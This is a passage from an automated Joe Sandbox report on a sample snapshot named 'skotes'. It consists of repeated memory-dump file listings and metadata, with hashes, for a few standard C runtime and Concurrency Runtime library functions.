Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction ID: fb7947f8a48caafd90b0dadf7f495cf2d766ba6419b682c834522d89dba227fe
Opcode Fuzzy Hash: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction Fuzzy Hash: 84519AB5A0420D9FDF11CF68E5806EEBBF5FF19354F14449AEA50A7391D332AA05CB50

Function 009FDB30 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 009FDB64

Part of subcall function 009F8F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 009F8F50

Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 009FDBC3
Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 009FDBE9
Concurrency::location::_Assign.LIBCMT ref: 009FDC56

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::$EventInternal$AssignBlockingConcurrency::location::_FindNestingPrepareThrowTraceWork
String ID:
API String ID: 1091748018-0
Opcode ID: fcf0c8baf45c52dee7c2341f02bc79a9511f2ed053f6dc3ddbc29aa5ad9bcdce
Instruction ID: 7f4c8dbba418873e72bc38c43145bd2d85e07aa29a5713bb35986bfa4e606618
Opcode Fuzzy Hash: fcf0c8baf45c52dee7c2341f02bc79a9511f2ed053f6dc3ddbc29aa5ad9bcdce
Instruction Fuzzy Hash: 9E410770601218ABCF19EB24C896BBDBB7AAF84310F14409DE6469B3C2CB74AD45C791

Function 009F56AF Relevance: 6.1, APIs: 4, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_InternalDeleteHelper.LIBCONCRT ref: 009F56F2
_InternalDeleteHelper.LIBCONCRT ref: 009F5726
Concurrency::details::SchedulerBase::TraceSchedulerEvent.LIBCMT ref: 009F578B
SafeRWList.LIBCONCRT ref: 009F579A

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: DeleteHelperInternalScheduler$Base::Concurrency::details::EventListSafeTrace
String ID:
API String ID: 893951542-0
Opcode ID: 4cd95e67e44939b1253a2bad0865c124885feef49f933f01e0473ad7903d4dec
Instruction ID: 2fa2fd4e1914b869306bd76166e22e44f9c1e0c3b90e8d23f37e2aa8ecd304aa
Opcode Fuzzy Hash: 4cd95e67e44939b1253a2bad0865c124885feef49f933f01e0473ad7903d4dec
Instruction Fuzzy Hash: 113105767016149FCF15AF60C881ABDB7AAAFC9710F164279EB0A9B355DB30AC018790

Function 009F2CFC Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 009F2D0F

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersConcurrency::details::InitializeManager::Resource
String ID:
API String ID: 3433162309-0
Opcode ID: 4e7c2390dd027f0ee14bba9385d70af54fa3b9f889162a084c4d4728d31f1c46
Instruction ID: 4a9495233ea2aeb74539327c281091a904859513e829ba94fd21ece028a49945
Opcode Fuzzy Hash: 4e7c2390dd027f0ee14bba9385d70af54fa3b9f889162a084c4d4728d31f1c46
Instruction Fuzzy Hash: A1311775A00309DFCF10DF94C8C0BBE7BB9BB44314F1404AADA45AB286D730A945DBA1

Function 00A013F5 Relevance: 6.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00A013FC
Concurrency::details::_TaskCollectionBase::_GetTokenState.LIBCONCRT ref: 00A01447
Concurrency::details::_CancellationTokenState::_RegisterCallback.LIBCONCRT ref: 00A0147A
Concurrency::details::_StructuredTaskCollection::_CountUp.LIBCMT ref: 00A0152A

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_$TaskToken$Base::_CallbackCancellationCollectionCollection::_CountH_prolog3_catchRegisterStateState::_Structured
String ID:
API String ID: 2092016602-0
Opcode ID: 2b1f80f3c2b119652f42e8d84f25e94cf95a400e14a3c11df10ac8a129c812fd
Instruction ID: a57333cbc46332b47b887a63e72a3c043749682ac369b3f06efa909f0965d333
Opcode Fuzzy Hash: 2b1f80f3c2b119652f42e8d84f25e94cf95a400e14a3c11df10ac8a129c812fd
Instruction Fuzzy Hash: DD3152B1A006099BCF14DFA9D891AEDF7B5BF88710B14822DE515AB3D1DB34A941CB90

Function 009EBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 009EBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 009EBBE4
_xtime_get.LIBCPMT ref: 009EBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 009EBC13

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
